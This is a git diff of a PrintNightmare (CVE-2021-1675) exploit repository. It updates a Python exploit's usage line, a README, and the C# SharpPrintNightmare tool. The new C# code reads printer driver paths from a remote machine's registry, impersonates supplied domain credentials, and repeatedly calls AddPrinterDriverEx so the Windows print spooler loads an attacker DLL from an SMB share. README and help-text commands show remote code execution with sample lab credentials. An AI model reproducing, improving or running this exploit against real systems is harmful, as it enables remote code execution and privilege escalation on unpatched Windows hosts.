diff --git a/CVE-2021-1675.py b/CVE-2021-1675.py index 611606b..fda7a8b 100644 --- a/CVE-2021-1675.py +++ b/CVE-2021-1675.py @@ -102,7 +102,7 @@ if __name__ == '__main__': parser = argparse.ArgumentParser(add_help = True, description = "CVE-2021-1675 implementation.",formatter_class=argparse.RawDescriptionHelpFormatter,epilog=""" Example; ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' -./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' +./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' """) parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('share', action='store', help='Path to DLL. Example \'\\\\10.10.10.10\\share\\evil.dll\'') diff --git a/Images/impacket-mspar.PNG b/Images/impacket-mspar.PNG new file mode 100644 index 0000000..a4105b3 Binary files /dev/null and b/Images/impacket-mspar.PNG differ diff --git a/SharpPrintNightmare/README.md b/SharpPrintNightmare/README.md index bf9e8a8..8672c44 100644 --- a/SharpPrintNightmare/README.md +++ b/SharpPrintNightmare/README.md @@ -4,6 +4,8 @@ New `CVE-2021-1675.py` has been uploaded which will get the same result as the C# version +No longer need to manually specify pConfigFile with C# version + ### Usage The RCE functionality might need to be executed with local administrator privileges on YOUR machine. @@ -13,10 +15,10 @@ The RCE functionality might need to be executed with local administrator privile C:\SharpPrintNightmare.exe C:\addCube.dll #RCE using existing context -SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20' +SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' '\\192.168.1.20' #RCE using runas /netonly -SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123 +SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' '\\192.168.1.10' hackit.local domain_user Pass123 ``` ![](../Images/poc4.png) diff --git a/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo index 9b987b2..483c68f 100644 Binary files a/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo and b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo differ diff --git a/SharpPrintNightmare/SharpPrintNightmare/Program.cs b/SharpPrintNightmare/SharpPrintNightmare/Program.cs index 75adc27..a9e4236 100644 --- a/SharpPrintNightmare/SharpPrintNightmare/Program.cs +++ b/SharpPrintNightmare/SharpPrintNightmare/Program.cs @@ -1,6 +1,9 @@ -using System; +using Microsoft.Win32; +using System; +using System.Collections.Generic; using System.ComponentModel; using System.IO; +using System.Linq; using System.Runtime.InteropServices; using Tools; @@ -17,6 +20,7 @@ namespace SharpPrintNightmare //https://www.pinvoke.net/default.aspx/winspool/EnumPrinterDrivers.html [DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)] static extern bool EnumPrinterDrivers(String pName, String pEnvironment, uint level, IntPtr pDriverInfo, uint cdBuf, ref uint pcbNeeded, ref uint pcRetruned); + public struct DRIVER_INFO_2 { public uint cVersion; @@ -46,8 +50,8 @@ namespace SharpPrintNightmare static void Main(string[] args) { string dllpath; - string pDriverPath = ""; - string path = null; + string computername = null; + string pDriverPath = null; //network credentials wont be used for LPE string domain = "NeverGonnaGiveYouUp"; string user = "NeverGonnaLetYouDown"; @@ -57,72 +61,77 @@ namespace SharpPrintNightmare { Console.WriteLine("-Locally"); Console.WriteLine(" .\\SharpPrintNightmare.exe C:\\addCube.dll"); - Console.WriteLine(" .\\SharpPrintNightmare.exe 'C:\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'"); Console.WriteLine("-Remote using current context"); - Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20'"); + Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' '\\\\192.168.1.20'"); Console.WriteLine("-Remote using runas"); - Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20' hackit.local domain_user Pass123"); + Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' '\\\\192.168.1.20' hackit.local domain_user Pass123"); Environment.Exit(0); } dllpath = args[0]; - if (args.Length > 1) + if (args.Length > 2) { - pDriverPath = args[1]; + domain = args[2]; + user = args[3]; + password = args[4]; } - else + + //runas /netonly + using (new Impersonator.Impersonation(domain, user, password)) { - DRIVER_INFO_2[] drivers = getDrivers(); - foreach (DRIVER_INFO_2 driver in drivers) + if (args.Length > 1 && args.Length <= 5) { - //Console.WriteLine(driver.pDriverPath); //debugcd - if (driver.pDriverPath.ToLower().Contains("filerepository")) + //Find remote drivers + computername = args[1]; + List drivers = getDrivers(computername); + pDriverPath = Path.GetDirectoryName(drivers[0]) + "\\Amd64\\UNIDRV.DLL"; + if (string.IsNullOrEmpty(pDriverPath)) { - pDriverPath = driver.pDriverPath; - break; + Console.WriteLine($"[-] Specify pDriverPath manually"); + Environment.Exit(1); } } - //could not find driver path - if (pDriverPath == "") + //if OpenRemoteBaseKey fails + else if (args.Length > 5) { - Console.WriteLine($"[-] pDriverPath {drivers[0].pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\....."); - Console.WriteLine($"[-] Specify pDriverPath manually"); - Environment.Exit(1); + pDriverPath = args[5]; } - } - Console.WriteLine($"[*] pDriverPath {pDriverPath}"); - Console.WriteLine($"[*] Executing {dllpath}"); - - if (args.Length > 2) - { - path = args[2]; - } - if (args.Length > 3) - { - domain = args[3]; - user = args[4]; - password = args[5]; - } - - //runas /netonly - using (new Impersonator.Impersonation(domain, user, password)) - { + else //Find local driver + { + DRIVER_INFO_2[] drivers = getDrivers(); + foreach (DRIVER_INFO_2 driver in drivers) + { + //Console.WriteLine(driver.pDriverPath); //debugcd + if (driver.pDriverPath.ToLower().Contains("filerepository")) + { + pDriverPath = driver.pDriverPath; + break; + } + } + //could not find driver path + if (string.IsNullOrEmpty(pDriverPath)) + { + Console.WriteLine($"[-] pDriverPath {drivers[0].pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\....."); + Console.WriteLine($"[-] Specify pDriverPath manually"); + Environment.Exit(1); + } + } + Console.WriteLine($"[*] pDriverPath {pDriverPath}"); + Console.WriteLine($"[*] Executing {dllpath}"); Console.WriteLine("[*] Try 1..."); - addPrinter(dllpath, pDriverPath, path); + addPrinter(dllpath, pDriverPath, computername); Console.WriteLine("[*] Try 2..."); - addPrinter(dllpath, pDriverPath, path); + addPrinter(dllpath, pDriverPath, computername); Console.WriteLine("[*] Try 3..."); - addPrinter(dllpath, pDriverPath, path); + addPrinter(dllpath, pDriverPath, computername); } } - static void addPrinter(string dllpath, string pDriverPath, string path = null) + static void addPrinter(string dllpath, string pDriverPath, string computername) { - //pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL"; // 2019 debug //pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_addb31f9bff9e936\\Amd64\\UNIDRV.DLL"; // 2016 debug - //DRIVER_INFO_2 Level2 = drivers[0]; // debug DRIVER_INFO_2 Level2 = new DRIVER_INFO_2(); Level2.cVersion = 3; Level2.pConfigFile = "C:\\Windows\\System32\\winhttp.dll"; //replace kernelbase with winhttp @@ -139,7 +148,7 @@ namespace SharpPrintNightmare Marshal.StructureToPtr(Level2, pnt, false); //call AddPrinterDriverEx - AddPrinterDriverEx(path, 2, pnt, flags); + AddPrinterDriverEx(computername, 2, pnt, flags); Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error()); Marshal.FreeHGlobal(pnt); @@ -154,7 +163,7 @@ namespace SharpPrintNightmare Marshal.StructureToPtr(Level2, pnt2, false); //call AddPrinterDriverEx - AddPrinterDriverEx(path, 2, pnt2, flags); + AddPrinterDriverEx(computername, 2, pnt2, flags); int errorcode = Marshal.GetLastWin32Error(); Marshal.FreeHGlobal(pnt2); if (errorcode == 0) @@ -166,13 +175,44 @@ namespace SharpPrintNightmare } } - static DRIVER_INFO_2[] getDrivers(string path = null) + static List getDrivers(string computername) + { + computername = computername.Trim('\\'); + string driverpath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\PackageInstallation\\Windows x64\\DriverPackages"; + List drivers = new List(); + try + { + RegistryKey environmentKey = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, computername); + + foreach (string subKeyName in environmentKey.OpenSubKey(driverpath).GetSubKeyNames().Where(item => item.Contains("ntprint.inf_amd64"))) + { + string path; + //Console.WriteLine(subKeyName); + path = (string)environmentKey.OpenSubKey(driverpath + "\\" + subKeyName).GetValue("DriverStorePath"); + //Console.WriteLine(path); + if (!String.IsNullOrEmpty(path)) + { + drivers.Add(path); + } + } + environmentKey.Close(); + } + catch + { + Console.WriteLine("[-] Failed to enumerate printer drivers"); + Environment.Exit(1); + } + + return drivers; + + } + + static DRIVER_INFO_2[] getDrivers() { uint cbNeeded = 0; uint cReturned = 0; - //path = "\\\\192.168.1.20"; - if (EnumPrinterDrivers(path, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned)) + if (EnumPrinterDrivers(null, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned)) { //succeeds, but shouldn't, because buffer is zero (too small)! throw new Exception("EnumPrinters should fail!"); @@ -186,7 +226,7 @@ namespace SharpPrintNightmare } IntPtr pAddr = Marshal.AllocHGlobal((int)cbNeeded); - if (EnumPrinterDrivers(path, "Windows x64", 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned)) + if (EnumPrinterDrivers(null, "Windows x64", 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned)) { DRIVER_INFO_2[] printerInfo2 = new DRIVER_INFO_2[cReturned]; long offset;